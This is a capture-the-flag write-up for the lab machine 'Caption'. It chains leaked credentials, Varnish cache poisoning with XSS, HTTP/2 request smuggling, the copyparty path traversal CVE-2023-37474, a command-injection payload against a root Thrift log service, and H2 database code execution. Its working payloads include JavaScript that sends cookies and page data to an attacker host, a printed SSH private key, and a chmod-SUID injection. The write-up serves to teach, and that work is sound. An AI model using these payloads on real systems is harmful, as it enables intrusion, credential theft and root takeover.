Machine Card listing Caption as a hard Linux box

Reconnaissance

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http
|_http-title: Did not follow redirect to http://caption.htb
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe:
|     HTTP/1.1 400 Bad request
|     Content-length: 90
|     Cache-Control: no-cache
|     Connection: close
|     Content-Type: text/html
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|     </body></html>
|   FourOhFourRequest, GetRequest, HTTPOptions:
|     HTTP/1.1 301 Moved Permanently
|     content-length: 0
|     location: http://caption.htb
|_    connection: close
8080/tcp open  http-proxy
|_http-title: GitBucket
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Date: Sun, 15 Sep 2024 11:50:46 GMT
|     Set-Cookie: JSESSIONID=node01ipnpvft502w912lbur647qxyd2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 5922
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>Error</title>
|     <meta property="og:title" content="Error" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.129.246.190:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
|     <meta property="og:image" content="http://10.129.246.190:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/im
|   GetRequest:
|     HTTP/1.1 200 OK
|     Date: Sun, 15 Sep 2024 11:50:45 GMT
|     Set-Cookie: JSESSIONID=node01vyyx4i5bvybm1jjm6dkwscpdf0.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 7197
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>GitBucket</title>
|     <meta property="og:title" content="GitBucket" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.129.246.190:8080/" />
|     <meta property="og:image" content="http://10.129.246.190:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/images/gitbucket.png?20240915115045"
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Sun, 15 Sep 2024 11:50:46 GMT
|     Set-Cookie: JSESSIONID=node01crthsvhv0zuy1m2zoeicd7osa1.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|_    <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>

There’s a redirect to caption.htb detected on port 80 and there seems to be a GitBucket installation on 8080. I add the domain to my /etc/hosts.

HTTP

On port 80 there’s just a login prompt but none of the default credentials seem to work. Within the HTML code is a link to codepen but nothing else of interest.

Fancy login prompt

The GitBucket installation on port 8080 does have publicly viewable content available and shows two repositories for the user root.

Two repositories are publicly available on GitBucket

Caption-Portal

Screenshot of the repository Caption Portal

The code within Caption-Portal looks like it belongs to the application on port 80. For some reason it does only include the login page but none of the pages that are hiding behind the login. It also lists some of the backend configurations for HAProxy and Varnish HTTP Cache.

In the configuration file for HAProxy its defined that /logs and /download are restricted and denied. If the host header does not begin with caption.htb there will be a redirect to http://caption.htb and all other requests are forwarded to the backend server listening on port 6081.

Caption-Portal/config/haproxy/haproxy.cfg
--- SNIP ---
frontend http_front
   bind *:80
   default_backend http_back
   acl multi_slash path_reg -i ^/[/%]+
   http-request deny if multi_slash
   acl restricted_page path_beg,url_dec -i /logs
   acl restricted_page path_beg,url_dec -i /download
   http-request deny if restricted_page
   acl not_caption hdr_beg(host) -i caption.htb
   http-request redirect code 301 location http://caption.htb if !not_caption
 
backend http_back
   balance roundrobin
   server server1 127.0.0.1:6081 check

The configuration file for Varnish looks rather empty and uninteresting.

Caption-Portal/config/varnish/default.vcl
vcl 4.0;
 
backend default {
    .host = "127.0.0.1";
    .port = "8000";
}
 
sub vcl_recv {
    // update for prod - CR-3045
}
 
sub vcl_backend_response {
    // update for prod - CR-3045
}
 
sub vcl_deliver {
    // update for prod - CR-3045
}

The git history contains 11 commits and one of those has a particular interesting name: Update access control.

Screenshot of the git history showing 11 commits

Checking out this commit shows the removal of the hardcoded credentials vFr&cS2#0! for the user margo.
They do not work for SSH but still grant access to the web application.

I’ll decide to check out the other repository first though.

Screenshot of the git commit with the hardcoded credentials

Logservice

Screenshot of the repository Logservice

This repository contains the code for an Apache Thrift service over RPC, written in Go. Besides the service declaration in a .thrift file, it has the generated Go code, and the code for the server component in server.go.

Looking through the server code, it looks like it’s listening on port 9090 and takes a filename to a log file as an input parameter. It then parses an IP and the User-Agent based on a regex before adding those to a string and passing it to /bin/sh -c.

If I can control the log file that gets parsed, I might be able to chain this for code execution, but the service is not reachable from the outside, so I’ll move on for now.

    package main
     
    import (
        "context"
        "fmt"
        "log"
        "os"
        "bufio"
        "regexp"
        "time"
        "github.com/apache/thrift/lib/go/thrift"
        "os/exec"
        "log_service"
    )
     
    type LogServiceHandler struct{}
     
    func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
        file, err := os.Open(filePath)
        if err != nil {
            return "", fmt.Errorf("error opening log file: %v", err)
        }
        defer file.Close()
        ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
        userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
        outputFile, err := os.Create("output.log")
        if err != nil {
            fmt.Println("Error creating output file:", err)
            return
        }
        defer outputFile.Close()
        scanner := bufio.NewScanner(file)
        for scanner.Scan() {
            line := scanner.Text()
            ip := ipRegex.FindString(line)
            userAgentMatch := userAgentRegex.FindStringSubmatch(line)
            var userAgent string
            if len(userAgentMatch) > 1 {
                userAgent = userAgentMatch[1]
            }
            timestamp := time.Now().Format(time.RFC3339)
            logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
            exec.Command{"/bin/sh", "-c", logs}
        }
        return "Log file processed",nil
    }
     
    func main() {
        handler := &LogServiceHandler{}
        processor := log_service.NewLogServiceProcessor(handler)
        transport, err := thrift.NewTServerSocket(":9090")
        if err != nil {
            log.Fatalf("Error creating transport: %v", err)
        }
     
        server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
        log.Println("Starting the server...")
        if err := server.Serve(); err != nil {
            log.Fatalf("Error occurred while serving: %v", err)
        }
    }

Initial Access

After login to the Caption Portal with margos credentials, I can see a website talking about networks with links to Firewalls, Routers and Logs. The link to /logs returns a 403 and the links for Routers don’t do anything.

Generic Page with links to Firewalls and Logs

On /firewalls there are non-functioning links to several kind of management features for the firewalls and a note regarding the active monitoring through admins during the maintenance.

Firewall Management Page with a note regarding the active monitoring through admins

Observing the HTTP response headers it’s obvious that there’s a Varnish cache between me and the actual web application as already seen in the git repository. Additionally there are requests to a non-existent Javascript file, that includes a parameter sounding like a proxy.

BurpSuite showing requests to a non-existent Javascript file and the HTTP response headers exposing the usage of Varnish as cache

If I can influence the utm_source parameter somehow, it might be possible to poison the cache and achieve XSS.
First I try some header fields commonly used by proxies1 and get lucky with X-Forwarded-Host.

Screenshot of BurpSuite showing the X-Forwarded-Host header set to helloworld and the same string in the HTML response

Changing the header value from helloworld to helloworld2 shows the exact same response and the x-cache: MISS header disappeared, meaning the cache was hit. This also means that the X-Forwarded-Host header is unkeyed.

If a parameter is unkeyed, it does not contribute to the key making the cache entry. The key to the cache entry should consist out of all parameters that change the contents of a page, otherwise other users might be served a poisoned response (or just the information from another user).

Changing the X-Forwarded-Host to the following Javascript payload, closes the script tag and adds another one pointing towards my webserver. After 120 seconds (as denoted by the cache-control header) the cache is emptied and I can inject my payload.

"></script><script src="http://10.10.10.10/xss.js

Screenshot of BurpSuite showing the Javascript payload as header and the resulting injected code within the HTML response

I’ll host a simple XSS payload on my webserver under /xss.js that sends the cookie to my listener since the HTTPOnly flag is not set.

let xhr = new XMLHttpRequest();
xhr.open("GET","http://10.10.10.10/cookie=" + document.cookie, false);
xhr.send();

A few minutes pass and I keep injecting my payload into the cache, eventually I do get a call back with a cookie and inspecting the JWT shows I’m the admin now.

10.129.192.2 - - [16/Sep/2024 11:58:49] "GET /xss.js HTTP/1.1" 200 -
10.129.192.2 - - [16/Sep/2024 11:58:49] code 404, message File not found
10.129.192.2 - - [16/Sep/2024 11:58:49] "GET /cookie=session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI2NDg0MzA5fQ.SSSE-QZsVhTH9miHW-SSMG8FSo1jiNqmq6AL4jMQL54 HTTP/1.1" 404 -

Replacing the cookie within Firefox and refreshing the page does not grant me any additional privileges on the Firewalls page.
What’s left to discover is the Logs, but the same 403 is returned upon access. From the haproxy configuration I know that anything starting with /logs is not allowed and trying to bypass that by using url-encoded values does not work either due to url_dec2. It also checks that the path is not starting with multiple slashes, otherwise it would be possible to bypass the ACL with //logs.

Info

Usually on Linux having one or multiple slashes as separator are equivalent3 so //logs should be equal to /logs. In a previous version of the box this was possible and the following steps could be performed directly in the browser.

Based on the response headers the Varnish cache is version 6.6 and this is already a bit dated (2021-03-15). Checking for known exploits finds CVE-2021-36740, a request smuggling vulnerability with HTTP/2 requests. At the time of writing BurpSuite only supports HTTP/2 for HTTPS connections, so I’ll use h2csmuggler to exploit this.

I clone the repository and install the requirement h2 with pip. Then I can test the web application to see if its vulnerable.

python h2csmuggler.py -x http://caption.htb -t http://127.0.0.1:8000/logs
[INFO] h2c stream established successfully.
[INFO] Success! http://caption.htb can be used for tunneling

I export the stolen cookie as environment variable COOKIE to be used in the upcoming requests and try to access the /logs endpoint again. That works and I get the contents of the page back.

export COOKIE_HEADER="Cookie: session=<JWT>"
 
python h2csmuggler.py -x http://caption.htb/404 \
                      -H "$COOKIE_HEADER" \
                      http://127.0.0.1:8000/logs
[INFO] h2c stream established successfully.
:status: 404
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 06 Oct 2024 12:17:41 GMT
content-type: text/html; charset=utf-8
content-length: 207
x-varnish: 65547
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
 
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
 
 
 
 
[INFO] Requesting - /logs
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 06 Oct 2024 12:17:41 GMT
content-type: text/html; charset=utf-8
content-length: 4228
x-varnish: 65548
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
 
 
<!DOCTYPE html>
<html lang="en" lang="pt-br" data-bs-theme="dark">
 
<head>
  <meta charset="UTF-8">
 
    <script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>
 
 
  <title>Caption Networks Home</title>
 
    <link rel="canonical" href="https://codepen.io/ferrazjaa/pen/abPQywb">
  <script>
  window.console = window.console || function(t) {};
</script>
 
 
 
   <title>Viajar é Preciso</title>
  <!-- LINKS BOOTSTRAP -->
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet"
    integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
 
  <!-- ICONES -->
  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.1/font/bootstrap-icons.css">
</head>
 
<body>
 
 
  <!-- nav bar -->
  <nav class="navbar navbar-expand-lg bg-body-tertiary p-4">
    <div class="container">
      <!-- o usuário escolher o modo dark ou light -->
      <button class="btn btn-secondary me-4" id="alterarTemaSite" onclick="alterarTemaSite()"><i
          class="bi bi-brightness-high-fill"></i>
      </button>
 
      <!-- Logo -->
      <a class="navbar-brand text-success" href="#"><strong>Caption Networks <i class="bi bi-globe"></i></strong></a>
      <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent"
        aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
 
      <!-- MENU -->
      <div class="collapse navbar-collapse" id="navbarSupportedContent">
        <ul class="navbar-nav me-auto mb-2 mb-lg-0">
          <li class="nav-item">
            <a class="nav-link active" aria-current="page" href="/home">Home</a>
          </li>
          <li class="nav-item">
            <a class="nav-link" href="/firewalls">Firewalls</a>
          </li>
          <li class="nav-item dropdown">
            <a class="nav-link dropdown-toggle" href="#" role="button" data-bs-toggle="dropdown" aria-expanded="false">
              Routers
            </a>
            <ul class="dropdown-menu">
              <li><a class="dropdown-item" href="#">Staging Networks</a></li>
              <li><a class="dropdown-item" href="#">UAT Networks</a></li>
            </ul>
          <li><a class="nav-link" aria-current="page" href="/logs">Logs</a>
          </li>
 
        </ul>
        <div class="d-flex">
          <a href="/logout" class="btn btn-success">Logout</a>
        </div>
      </div>
    </div>
  </nav>
 
 
  <header class="container my-4">
    <div class="row">
      <!-- vai ocupar todo o espaço se a tela for pequena -->
      <!-- col-lg-6 para telas grandes -->
 
        <center><h1>Log Management</h1></center>
        <br/><br/><center>
        <ul>
            <li><a href="/download?url=http://127.0.0.1:3923/ssh_logs">SSH Logs</a></li>
            <li><a href="/download?url=http://127.0.0.1:3923/fw_logs">Firewall Logs</a></li>
            <li><a href="/download?url=http://127.0.0.1:3923/zk_logs">Zookeeper Logs</a></li>
            <li><a href="/download?url=http://127.0.0.1:3923/hadoop_logs">Hadoop Logs</a></li>
        </ul></center>
      </div>
    </div>
  </header>
 
 
  <!-- BOOTSTRAP JS -->
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"
    integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
    crossorigin="anonymous"></script>
 
 
      <script id="rendered-js" >
// altera tem site
function alterarTemaSite() {
  let tema = document.querySelector("html").getAttribute("data-bs-theme");
  if (tema === "dark") {
    document.querySelector("html").setAttribute("data-bs-theme", "light");
    document.querySelector("#alterarTemaSite").innerHTML = `<i class="bi bi-moon-fill"></i>`;
  } else {
    document.querySelector("html").setAttribute("data-bs-theme", "dark");
    document.querySelector("#alterarTemaSite").innerHTML = `<i class="bi bi-brightness-high-fill""></i>`;
  }
 
}
//# sourceURL=pen.js
    </script>
 
 
</body>
 
</html>

On the /logs page I can download different logs through the /download path. That endpoint takes another service as parameter url and that points towards http://127.0.0.1:3923. Downloading the different log files does not reveal much besides the fact that margo used a ECDSA key to authenticate to the server via SSH in the SSH Logs.

Screenshot of the SSH Logs highlighting the usage of a ECDSA key

Trying to download a non-existing file via http://127.0.0.1:3923/ryuki shows an error page, exposing the application in use: copyparty. Searching for known exploits finds CVE-2023-37474 with a directory traversal through the .cpr subfolder.

python h2csmuggler.py -x http://caption.htb/404 \
                      -H "$COOKIE_HEADER" \
                      'http://127.0.0.1:8000/download?url=http://127.0.0.1:3923/ryuki'
[INFO] h2c stream established successfully.
:status: 404
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 06 Oct 2024 12:23:58 GMT
content-type: text/html; charset=utf-8
content-length: 207
x-varnish: 65556
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
 
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
 
 
 
 
[INFO] Requesting - /download?url=http://127.0.0.1:3923/ryuki
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 06 Oct 2024 12:23:58 GMT
content-type: text/html; charset=utf-8
content-length: 1888
x-varnish: 65557
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
 
<!DOCTYPE html>
<html lang="en">
 
<head>
        <meta charset="utf-8">
        <title>copyparty</title>
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=0.8">
        <meta name="theme-color" content="#333">
 
        <link rel="stylesheet" media="screen" href="/.cpr/splash.css?_=C7Ta">
        <link rel="stylesheet" media="screen" href="/.cpr/ui.css?_=C7Ta">
</head>
 
<body>
        <div id="wrap">
                <a id="a" href="/?h" class="af">refresh</a>
                <a id="v" href="/?hc" class="af">connect</a>
                        <p id="b">howdy stranger &nbsp; <small>(you're not logged in)</small></p>
                <div id="msg">
                        <h1 id="n">404 not found &nbsp;┐( ´ -`)┌</h1><p><a id="r" href="/?h">go home</a></p>
                </div>
 
                <h1 id="cc">client config:</h1>
                <ul>
 
                        <li><a id="i" href="/?k304=y" class="r">enable k304</a> (currently disabled)
 
                        <blockquote id="j">enabling this will disconnect your client on every HTTP 304, which can prevent some buggy proxies from getting stuck (suddenly not loading pages), <em>but</em> it will also make things slower in general</blockquote></li>
 
                        <li><a id="k" href="/?reset" class="r" onclick="localStorage.clear();return true">reset client settings</a></li>
                </ul>
 
                <h1 id="l">login for more:</h1>
                <div>
                        <form method="post" enctype="multipart/form-data" action="/ryuki">
                                <input type="hidden" name="act" value="login" />
                                <input type="password" name="cppwd" />
                                <input type="submit" value="Login" />
 
                        </form>
                </div>
        </div>
        <a href="#" id="repl">π</a>
        <span id="pb"><span>powered by</span> <a href="https://github.com/9001/copyparty">copyparty </a></span>
        <script>
 
var SR = "",
        lang="eng",
        dfavico="🎉 000 none";
 
document.documentElement.className=localStorage.theme||"az a z";
 
</script>
<script src="/.cpr/util.js?_=C7Ta"></script>
<script src="/.cpr/splash.js?_=C7Ta"></script>
</body>
</html>

Retrieving /etc/passwd through this, works and confirms the vulnerability even though no version number is visible on the error page. Since I already know that margo uses an ECDSA key, I’ll try to retrieve it throught the exploit by using the default name4. The slashes in the payload have to be url-encoded twice because it will decoded once by the first web application before being passed to copyparty.

python h2csmuggler.py -x http://caption.htb/404 \
                      -H "$COOKIE_HEADER" \
                      'http://127.0.0.1:8000/download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa'
[INFO] h2c stream established successfully.
:status: 404
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 06 Oct 2024 12:26:25 GMT
content-type: text/html; charset=utf-8
content-length: 207
x-varnish: 65565 131079
age: 38
via: 1.1 varnish (Varnish/6.6)
 
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
 
 
 
 
[INFO] Requesting - /download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 06 Oct 2024 12:27:03 GMT
content-type: text/html; charset=utf-8
content-length: 492
x-varnish: 65566
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTGOXexsvvDi6ef34AqJrlsOKP3cynseip0tX/R+A58
9sSkErzUOEOJba7G1Ep2TawTJTbWb2KROYrOYLA0zysQAAAAoJxnaNicZ2jYAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4
Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxAAAAAgaNaOfcgjzxxq/7lNizdKUj2u
Zpid9tR/6oub8Y3Jh3cAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----

This key allows me login as margo and collect the first flag.

Privilege Escalation

The password for margo still does not work and sudo requires one.

After checking the running processes and the open ports, it looks like root is running the Logservice on port 9090. I’ll forward that port, so I can check if the service is actually vulnerable.

ps auxwww | grep root
root        1052  0.0  0.0   2892   992 ?        Ss   09:45   0:00 /bin/sh -c cd /root;/usr/local/go/bin/go run server.go
root        1056  0.0  0.4 1240804 18264 ?       Sl   09:45   0:02 /usr/local/go/bin/go run server.go
root        1396  0.0  0.1 1009716 4696 ?        Sl   09:46   0:00 /tmp/go-build1381203703/b001/exe/server
 
ss -tulpn
Netid                State                 Recv-Q                Send-Q                                Local Address:Port                                 Peer Address:Port                Process                                           
udp                  UNCONN                0                     0                                     127.0.0.53%lo:53                                        0.0.0.0:*                                                                     
udp                  UNCONN                0                     0                                           0.0.0.0:68                                        0.0.0.0:*                                                                     
tcp                  LISTEN                0                     128                                         0.0.0.0:22                                        0.0.0.0:*                                                                     
tcp                  LISTEN                0                     4096                                        0.0.0.0:80                                        0.0.0.0:*                                                                     
tcp                  LISTEN                0                     4096                                  127.0.0.53%lo:53                                        0.0.0.0:*                                                                     
tcp                  LISTEN                0                     4096                                      127.0.0.1:9090                                      0.0.0.0:*                                                                     
tcp                  LISTEN                0                     10                                        127.0.0.1:6082                                      0.0.0.0:*                                                                     
tcp                  LISTEN                0                     1024                                      127.0.0.1:6081                                      0.0.0.0:*                                                                     
tcp                  LISTEN                0                     1024                                      127.0.0.1:3923                                      0.0.0.0:*                    users:(("python3",pid=1059,fd=3))                
tcp                  LISTEN                0                     128                                       127.0.0.1:8000                                      0.0.0.0:*                    users:(("python3",pid=1063,fd=3))                
tcp                  LISTEN                0                     50                                          0.0.0.0:8080                                      0.0.0.0:*                    users:(("java",pid=1062,fd=5))                   
tcp                  LISTEN                0                     128                                            [::]:22                                           [::]:*

After installing the Apache Thrift Compiler with sudo apt install thrift-compiler, it can be used to generate Python code based on the .thrift file available on GitBucket5.

log_service.thrift
namespace go log_service
 
service LogService {
    string ReadLogFile(1: string filePath)
}

Running thrift while specifying --gen py to generate the Python code, several files appear in gen-py, that can be imported to talk to the service. The tutorial provides a sample script that I adapt to my needs. In order to use the Python bindings I’ll need to run pip install thrift.

thrift -r --gen py log_service.thrift
 
tree gen-py
gen-py
├── __init__.py
└── log_service
    ├── LogService-remote
    ├── LogService.py
    ├── __init__.py
    ├── constants.py
    └── ttypes.py
run.py
#!/usr/bin/env python3
# Adapted from https://thrift.apache.org/tutorial/py.html
import sys
sys.path.append('gen-py')
 
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
 
from log_service import LogService 
 
def main():
    transport = TSocket.TSocket('localhost', 9090)
    transport = TTransport.TBufferedTransport(transport)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
 
    client = LogService.Client(protocol)
 
    transport.open()
 
    result = client.ReadLogFile("/tmp/ryuki.log")
 
    transport.close()
 
 
if __name__ == "__main__":
    main()

What’s left to do is to create a file in /tmp/ryuki.log on the target with the following content, that gets picked up by the regex and passed into the call to bash. It does terminate the ', inserts a subshell adding the SUID to bash, and then fixing the uneven '.

"user-agent":"'$(chmod u+s /bin/bash) '"

Executing the script does not produce any output, but the SUID is set on the /bin/bash on the remote host and can be used to escalate to root.

Unintended Path

H2 Database

On release there was an unintended solution that completely bypassed the abuse of the Caption Portal and granted a reverse shell through the H2 database on GitBucket.

View of the system settings in GitBucket showing the version 4.40.0 and that the H2 database is used

Since the access level with the default credentials root:root on GitBucket is the site administrator, it allows me to view the users, system settings, plugins and the database. From the system settings I know the version 4.40.0, that’s fairly recent and without any known vulnerabilites, the home directory for GitBucket is set within margo’s home directory and the embedded H2 database is in use.
That can be used for remote code execution67 since it does allow the declaration of functions as source code8, that will be compiled and can be called within a query.

The sidebar provides access to the Database viewer where the tables of the database are visible and queries can be run. First I define a new alias EXECVE with some Java code that takes the input and passes it to exec. Then I call the alias while providing whoami as command to run.

CREATE ALIAS EXECVE AS $$
String execve(String cmd) throws java.io.IOException { 
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); 
    return s.hasNext() ? s.next() : "";  
}$$;
 
SELECT EXECVE('whoami');

The output of the whoami is displayed within a table and shows margo. Next I’ll transfer a reverse shell bash script with curl and call it afterwards. This grants me shell access as margo and I can proceed with the regular Privilege Escalation.

SQL Prompt showing the result of SELECT EXECVE('whoami') is margo

Info

Chaining commands through this version of the alias does not work, so either use single commands or a subshell.

Poisoning + XSS for Exfiltration

Instead of using HTTP2 request smuggling the data can also be exfiltrated by using XSS and cache poisoning. From the configurations on Gitbucket I know that HAProxy allows any Host header starting with caption.htb and that Varnish is listening on port 6081.

Accessing the Flask backend server on port 8000 directly with XSS is not possible thanks to the Same-Origin Policy (SOP). Even though I can send requests there, the response is not accessible in Javascript9. On the other hand the cookie will work on all ports because that’s still considered Same-Site10.

That opens up the following attack path:

  1. Poison the request with Host: caption.htb to load a script that redirects to http://caption.htb:6081/firewalls
  2. Poison the request with Host: caption.htb:6081 to load a script that exfiltrates from /logs
  3. Bot loads first poisoned request and gets redirected to port 6081 and is still logged in thanks to the Same-Site cookie
  4. Bot loads second poisoned request that exfiltrates /logs since it’s relative and therefore considered Same-Origin.
  5. Repeat with /download and the copyparty exploit to retrieve the SSH key from margo

Info

The HAProxy configuration in the repository and the one running on the server differ. Any request to /firewalls will be forwarded to the cache after adding a parameter ip=$IP. This parameter is part of the cache key and therefore need to be supplied when redirecting to port 6081.
That piece of information can be gained by exfiltrating the URL that the bot uses with the regular cache poisoning and XSS.

To exploit this I spin up a simple webserver on port 80 that serves the following two payloads as redirect.js and xss.js. Then I wait for the bot to retrieve the poisoned cache, get redirected and then send the exfiltrated data back to my webserver.

redirect.js
// Redirect to caption.htb:6081/firewalls while preserving the original parameters
document.addEventListener("DOMContentLoaded", function(event) {
    let query = window.location.search;
    document.location.href = 'http://caption.htb:6081/firewalls' + query;
});
xss.js
var endpoint = 'http://10.10.10.10';
 
function exfil(data) {
    let e = new XMLHttpRequest();
    e.open('GET', `${endpoint}/exfil?data=${btoa(data)}`, false);
    e.send();
}
 
let xhr = new XMLHttpRequest();
xhr.open('GET', '/logs', false);
xhr.withCredentials = true;
xhr.send()
 
exfil(xhr.responseText);

Attack Path

flowchart TD

subgraph "Initial Access"
    A(Port 8080) -->|Guessable Credentials| B(Access to GitBucket)
    B -->|Credentials in Git History| C(Access to Portal as margo)
    C -->|Cache Poisoning with XSS| D(Cookie as admin)
    D -->|HTTP2 Request Smuggling| E(Acess to Download Feature copyparty)
    E -->|CVE-2023-37474| F(Directory Traversal to get SSH Key)
end

subgraph "Privilege Escalation"
    F -->|Login with Key| G(Shell as margo)
    G -->|"Local Thrift Service\nwith builtin RCE through crafted log file"| H(Shell as root)
end

B -->|"Unintended\nAbuse H2 Database for RCE"| G

Footnotes

  1. Headers to Change Location

  2. url_dec

  3. How does Linux handle multiple consecutive path separators

  4. ssh-keygen(1) — Linux manual page

  5. Python Tutorial

  6. H2 - Java SQL database

  7. h2-explot.py

  8. User Defined Functions

  9. Same-origin policy (SOP)

  10. Bypassing SameSite cookie restrictions